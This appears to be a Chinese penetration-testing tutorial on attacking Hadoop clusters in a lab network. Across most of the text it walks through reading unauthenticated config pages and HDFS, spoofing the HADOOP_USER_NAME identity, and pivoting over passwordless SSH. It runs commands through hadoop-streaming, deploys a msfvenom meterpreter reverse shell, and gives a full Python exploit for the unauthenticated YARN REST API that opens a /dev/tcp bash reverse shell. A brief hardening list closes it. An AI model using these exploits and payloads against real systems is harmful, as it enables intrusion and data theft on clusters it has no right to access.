天天看點

初探 Hadoop 叢集安全

最近因為某些原因學習接觸到了開源的大資料架構:

Hadoop

,該架構允許使用簡單的程式設計模型跨計算機叢集對大型資料集進行分布式處理。它旨在從單個伺服器擴充到數千台機器,每台機器都提供本地計算和存儲,詳細概念知識背景我這就不介紹了,各位自行學習。

是以自己啟發了這個大資料的架構是否有安全問題,畢竟

Hadoop

在大型企業是很常見的(之前參與某機關滲透測試也碰見過),可能有同學沒見過,這是因為

Hadoop

一般在内網中部署,業務端口不對外的,估如果沒進行到内網橫向滲透階段是比較難見到的。

本文技術含量可能不高,攻擊手法等均非原創,寫本文的出發點是自己遇到的時候百度相關漏洞,知識點過于零散且這塊資料較少,是以本文進行了搜集整理,實作一些複現,讓各位在内網滲透的過程中如果遇到以最少的時間成本、不需要深入了解

hadoop

即可實作攻擊、拿到權限的目的。

Hadoop 是個生态圈,非單一軟體,而是由 HDFS、YAERN、MapReduce、Zookeeper、Hbase 等元件提供支援。

環境準備及說明

hadoop 版本: 2.7.1(節點) 2.7.7(kali攻擊機)

目前最新穩定版本已經為 3.2.1,在 3.x 系列下未試驗過不保證均存在以下安全問題。

采取完全分布式模式部署

管理 Hadoop 的使用者名:

hadoop

主機名 Ip 功能
master 192.168.1.200 主節點(管家角色、管理從節點)
slave1 192.168.1.201 從節點1
kali 192.168.1.8 kali攻擊機

設定 Hadoop 攻擊環境

提前設定工作環境以執行某些特定的攻擊

1、下載下傳 Hadoop 安裝包

wget https://mirrors.tuna.tsinghua.edu.cn/apache/hadoop/common/hadoop-2.7.7/hadoop-2.7.7.tar.gz

2、解壓

tar xvf hadoop-2.7.7.tar.gz

3、設定

JAVA_HOME

環境變量

export JAVA_HOME=/usr/lib/jvm/java-7-openjdk-i386

4、(可選)将Hadoop的

bin

路徑添加到PATH環境變量

export PATH=$PATH:/opt/hadoop-2.7.7/bin

5、測試

hadoop version

6、下載下傳 Hadoop 攻擊包(後續使用)

git clone https://github.com/wavestone-cdt/hadoop-attack-library.git

Hadoop 存在的安全問題彙總

1、資訊收集

擷取目标環境配置

必須在用戶端 (kali) 的不同檔案中配置幾個叢集參數,才能與 Hadoop 叢集進行互動。

在内網中如何确定某台機器為

Hadoop

兩種辦法:

1、通過端口探測的方式

(nmap)

,

2、通過 http 通路某些業務端口确定

hadoop

初探 Hadoop 叢集安全

1、在 Hadoop 攻擊包中存在 HadoopSnooper,該腳本允許攻擊者通過

Hadoop

元件的 Web 界面上公開的配置檔案輕松檢索合适的最小用戶端配置。

我這邊的話就不采取腳本的方式而是手工的方式(初次手工熟悉過程).

進入在

kali

hadoop

的配置目錄:

<hadoop_installation>/etc/hadoop

2、手工通路

8088

50070、8042、16010

等端口檢視 conf 配置,腳本就是爬取 hadoop 配置生成到本地,實作自動化。

hadoop 相關端口詳情後面介紹,打開下面的連結:

http://192.168.1.200:50070/conf
初探 Hadoop 叢集安全

我們先提取

fs.defaultFS

儲存到本地

core-site.xml

檔案内(conf 記憶體在大量 Hadoop 的配置資訊,這邊算是資訊洩露一個點,無驗證即可通路到。)

初探 Hadoop 叢集安全

3、執行

hdfs

指令通路

hadoop

hdfs

hdfs 為 Hadoop 分布式檔案系統 (HDFS), 簡單了解: 該檔案系統跟本地檔案系統一樣均可用來存放資料、檔案,不同的是它是分布式,資料存在多台機器的本地系統上,也就是說 HDFS 還是需要依賴于本地檔案系統。

檢視 hdfs 檔案系統的根目錄,存在 3 個目錄。

hdfs dfs -ls /
初探 Hadoop 叢集安全

假設前面的

core-site.xml

未配置成功,通路 hdfs 根目錄則會出現本地根目錄.

初探 Hadoop 叢集安全
Hadoop 部分重要服務端口

以下的端口都是我們滲透的過程中會遇到的

1、Hdfs 部分服務端口

端口 作用
9000 fs.defaultFS,如:hdfs://172.25.40.171:9000
50070 dfs.namenode.http-address 監控狀态http頁面端口

這個

9000

端口的作用是前面我們把

hdfs://master:9000

寫入了

core-site.xml

檔案,讓我們實作了通路

hdfs

,假設在之前的配置檔案不寫的話即可通過指定的方式通路

hdfs dfs -ls hdfs://master:9000/

初探 Hadoop 叢集安全

50070

則是可以通過 http 頁面檢視 hdfs 狀态。

http://192.168.1.200:50070/
初探 Hadoop 叢集安全

這個 Live Nodes 比較重要能檢視到目前叢集存活的節點資訊。

初探 Hadoop 叢集安全
初探 Hadoop 叢集安全

比較重要的還有

Utilities

,即可以浏覽檔案系統 (HDFS),和檢視日志(可能留存敏感資訊)

初探 Hadoop 叢集安全

這邊即是圖形界面通路,之前我們是通過指令行方式

初探 Hadoop 叢集安全

均可實作 download,在真實内網滲透中這時候你就可以扒扒看是否有你需要的資料。

檔案所有者是

hadoop

,權限為

rwxr-xr-x

意味着可讀不可寫。突破實作寫的問題我們後面展開。
初探 Hadoop 叢集安全

2、yarn部分服務端口

端口 作用
8088 yarn.resourcemanager.webapp.address,YARN的http端口
http://192.168.1.200:8088/cluster/nodes

可以檢視叢集節點情況以及作業送出情況(後續攻擊需要送出作業)

初探 Hadoop 叢集安全

3、zookeeper 部分服務端口

端口 作用
2181 ZooKeeper,用來監聽用戶端的連接配接

zookeeper 屬于 Hadoop 生态圈之一,存在未授權通路的問題

echo envi|nc 192.168.1.200 2181

可以存在部分敏感資訊

初探 Hadoop 叢集安全

連接配接 ZooKeeper 服務端

./zkCli.sh -server 192.168.1.200:2181

4、HBASE 部分服務端口

端口 作用
16010 hbase.master.info.port,HMaster的http端口
初探 Hadoop 叢集安全

Hbase

是非關系型分布式資料庫,通路是沒權限校驗的

如果是

hbase

叢集内的節點執行

hbase shell

即可以增删改查

hbase

非叢集節點使用

Java API

即可,網上有現成寫好的方法實作操縱

2、浏覽 HDFS 資料

浏覽 HDFS 資料有兩種不同的方法:

1、WebHDFS API

2、Hadoop CLI

WebHDFS

關于 WebHDFS 的通路方式前面簡單提及了,就是通過通路

50070

端口的方式,但是預設是關閉,之前的頁面隻能 download,無法 put 等,需要通過

hdfs-site.xml

檔案中的以下指令在群集端配置此功能的激活:

dfs.webhdfs.enabled: true

因為預設關閉,是以一般有業務需求才會開啟,這邊就不示範了,相關 REST API 文法自行查找。

Hadoop攻擊包 中提供了一個

hdfsbrowser.py

腳本實作浏覽的功能,主要是适應場景是無法進行 web 浏覽通路,無 Hadoop 用戶端的情況。

初探 Hadoop 叢集安全
Hadoop CLI

hadoop fs 指令等同于 hdfs dfs

hadoop fs -ls hdfs://master:9000/ 列出根路徑的内容

初探 Hadoop 叢集安全
hadoop fs -put core-site.xml hdfs://master:9000/user/hadoop/wcout/

上傳檔案被拒絕,由于攻擊機

kali

目前使用者為

umask

,不具備上傳權限。

初探 Hadoop 叢集安全

實作突破的方式

1、修改環境變量:

export HADOOP_USER_NAME=hadoop

因為腳本在擷取使用者名的時候就是采取讀環境變量的方法,這邊直接篡改掉。

初探 Hadoop 叢集安全

2、建立一個與 hdfs 具備權限的同名使用者去通路(不推薦,在某些情況下(依托跳闆機)可能不具備建立使用者等權限,且徒增賬号增加危險性)

初探 Hadoop 叢集安全

3、如果采用

JAVA API

的方式進行

hdfs

操作可以在代碼中設定:

System.setProperty("HADOOP_USER_NAME","hadoop");

或者傳參的方式

java -D HADOOP_USER_NAME=root

Hadoop API文檔:

https://hadoop.apache.org/docs/stable/api/index.html

3、免密登入

在分布式架構下因為需要

master

節點要啟動 Hadoop 每個程序 (datanode, namenode 等這些程序),都需要手動輸入啟動程序所在的機器(叢集節點)的使用者密碼。以及在關閉時,也是需要手動輸入密碼,這樣過于繁瑣。是以一般都會配置叢集機器之間使用秘鑰登入,這樣就無需手動輸入密碼了。

這就暴露出一個問題,假設拿到了叢集中

master

節點的使用者權限 (shell),那它可以通過免密登入到叢集中任何一台節點,意味着整個叢集淪陷。

官方配置文檔把配置免密 ssh 作為配置 hadoop 的前提條件,且幾乎國内所有的配置教程也采用免密 ssh

1、我先把

master

slave1

之間

ssh

密鑰登入去掉,然後啟動

hadoop

相關業務.從圖中可以看大在去掉密鑰的情況下我輸入了2次密碼,分别是

master

slave1

,假設叢集數量為上百上千,光輸密碼這個工作量就是很大的。

初探 Hadoop 叢集安全

2、

master

節點上生成公鑰分發到所需的節點上,啟動 hadoop 服務未出現要密碼,實際中則可利用這一點來登入到任意節點上

初探 Hadoop 叢集安全

但這邊就會出現 1 個問題,

master

是可以無密碼登入任意節點,但是任意節點無法無密鑰通路到其他節點乃至

master

但是我網上檢視了些搭建

Hadoop

叢集的教程,發現有些教程密鑰登入這一步驟給的操作最終是可以實作叢集任意節點間登入的,是以這個情況需要看實際中運維人員怎麼部署的。

是以拿到 shell 後可以看下

authorized_keys

檔案内是什麼情況

發現所有節點ip資訊可以利用以下方式:

hosts 檔案 /一般寫一個模闆然後分發到所有節點

内部 DNS

50070 端口上的 Live Nodes

ip 可能連續 /例如 192.168.1.200 201 202

4、執行遠端指令

通過通路之前的

http://192.168.1.200:50070/conf

頁面擷取到如下

name

value

資訊并且應用到

kali

本地

hadoop

用戶端。(如果部分資訊如可嘗試更換端口)

1、hdfs-site.xml

<configuration>
    <property>
            <name>dfs.namenode.secondary.http-address</name>
            <value>master:50090</value>
    </property>
</configuration>           

複制

2、core-site.xml

<configuration>
    <property>
        <name>fs.defaultFS</name>
        <value>hdfs://master:9000</value>
    </property>
</configuration>           

複制

3、yarn-site.xml

<configuration>
        <property>
            <name>yarn.resourcemanager.hostname</name>
            <value>master</value>
        </property>
</configuration>           

複制

4、mapred-site.xml

<configuration>
        <property>
                <name>mapreduce.framework.name</name>
                <value>yarn</value>
        </property>
        <property>
                <name>mapreduce.jobhistory.address</name>
                <value>master:10020</value>
        </property>
        <property>
                <name>mapreduce.jobhistory.webapp.address</name>
                <value>master:19888</value>
        </property>
</configuration>           

複制

執行單個指令

例如執行指令

cat /etc/passwd

hadoop jar share/hadoop/tools/lib/hadoop-streaming-2.7.7.jar --input /user/hadoop/wcout/README.txt -output /user/hadoop/outcommand -mapper "/bin/cat /etc/passwd" -reducer NONE

解釋:

hadoop-streaming-2.7.7.jar:

http://hadoop.apache.org/docs/r1.0.4/cn/streaming.html

-input:這将作為要執行的指令的 MapReduce 的輸入提供,僅在該檔案中至少放置一個字元,此檔案對我們的目标無用

-output:MapReduce 将使用此目錄寫入結果,_SUCCESS 否則将失敗

-mapper:要執行的指令,例如 "/bin/cat /etc/passwd"。輸出結果将寫入 -output 目錄

-reducer NONE:不需要 reduce 執行單個指令,映射器就足夠了

檢測 output 情況:指令執行完出現如下字眼說明執行成功。

初探 Hadoop 叢集安全

hadoop fs -cat hdfs://master:9000/user/hadoop/outcommand/part-00000

成功執行指令且寫入進 output 目錄

初探 Hadoop 叢集安全
初探 Hadoop 叢集安全
擷取 meterpreter

上述執行單個指令的方式,每次隻能執行一次寫入一次,不夠靈活存在局限性,下面采取反彈得到 meterpreter 的方式。

1、生成 payload

msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.8 -f elf -o msf.payload

2、put payload 到 hdfs (不帶目錄即預設目錄 /user/hadoop)

hadoop fs -put msf.payload

3、msf 監聽

初探 Hadoop 叢集安全

4、執行反彈

hadoop jar share/hadoop/tools/lib/hadoop-streaming-2.7.7.jar --input /user/hadoop/wcout/README.txt -output /user/hadoop/outcommand5 -mapper "./msf.payload" -file "./msf.payload" -background

-file /本地的 meterpreter 可執行檔案上傳到 HDFS 上的路徑

-mapper

/可執行的 meterpreter 的 HDFS 路徑

-background

/背景運作

初探 Hadoop 叢集安全

5、msf 成功建立連接配接

初探 Hadoop 叢集安全
這邊可以看到得到的 shell 是

slave1

的,這是因為

MapReduce

作業的分布式性質,随機落到某個叢集節點,這邊的

payload

需要使用

reverse shell

反彈的,因為如果采用正向連接配接,假設叢集節點衆多,你可能不知道要連接配接到哪個 ip.

假設落到 slave 上但是我需要 master 權限,隻要 ssh 免密過去就好了。關于這個問題前面也提及了。

初探 Hadoop 叢集安全

5、Hadoop Yarn REST API 未授權漏洞利用

YARN 是 hadoop 系統上的資源統一管理平台,其主要作用是實作叢集資源的統一管理和排程,可以把 MapReduce 計算架構作為一個應用程式運作在 YARN 系統之上,通過 YARN 來管理資源。簡單的說,使用者可以向 YARN 送出特定應用程式進行執行,其中就允許執行相關包含系統指令。

yarn 預設 8088 端口

1、檢測漏洞存在方式:

curl -X POST 192.168.1.200:8088/ws/v1/cluster/apps/new-application
初探 Hadoop 叢集安全

2、漏洞利用 python 代碼:

import requests
target = 'http://192.168.1.200:8088/'
lhost = '192.168.1.8'  # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
print(resp.text)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
print (data)
requests.post(url, json=data)           

複制

3、nc 監聽 9999 端口得到 shell

初探 Hadoop 叢集安全
初探 Hadoop 叢集安全

4、msf 也提供了漏洞子產品,這邊就不示範了。

msf5 > use exploit/linux/http/hadoop_unauth_exec
初探 Hadoop 叢集安全

這邊提供一個 vulhub 的關于 Yarn REST API 未授權漏洞利用的靶場連結,各位可自行測試,就無需搭建 Hadoop 環境了。

https://vulhub.org/#/environments/hadoop/unauthorized-yarn/

6. 暫定

Hadoop 作為一個生态圈存在,存在的安全問題自然很多。

這邊算是先暫定為 1.0 版本,後續陸續更新增加豐富。

安全加強

攻破 Hadoop 叢集并不是非常難。這主要是因為預設安全機制的不嚴格,以及生态環境的複雜性而導緻的。不僅如此,各大發行版也存在許多傳統漏洞。

1、開啟 kerberos 認證,參考:

http://hadoop.apache.org/docs/r2.7.3/hadoop-auth/Configuration.html

2、敏感頁面以及目錄最好也不要對普通使用者開放,可 nginx 方向代理、iptables 解決。

(jmx/logs/cluster/status.jsp/)

3、hadoop 叢集單獨部署 做好安全監控發現被攻擊迹象及時高警

4、避免讓服務在公網中暴露

5、不要在邊緣節點布置應用

6、更新軟體版本

參考

挖掘分布式系統——Hadoop 的漏洞

https://zhuanlan.zhihu.com/p/28901633

Hadoop 攻擊庫

https://github.com/wavestone-cdt/hadoop-attack-library

Hadoop Yarn REST API 未授權漏洞利用挖礦分析

https://www.freebuf.com/vuls/173638.html

Hadoop Yarn REST API 未授權漏洞利用

https://www.cnblogs.com/junsec/p/11390634.html

Hadoop safari : Hunting for vulnerabilities

http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf

Hadoop 安全問題介紹以及安全加強

https://mp.weixin.qq.com/s?__biz=MzAwOTczODMxMw==&mid=2651013365&idx=1&sn=62a561cf8e11cee5df554f3757a4d48e&chksm=80ace1d3b7db68c59a531e6a562d65277ca211e0e3e9161eee1e8fd5a140b8146e67167b5da6#rd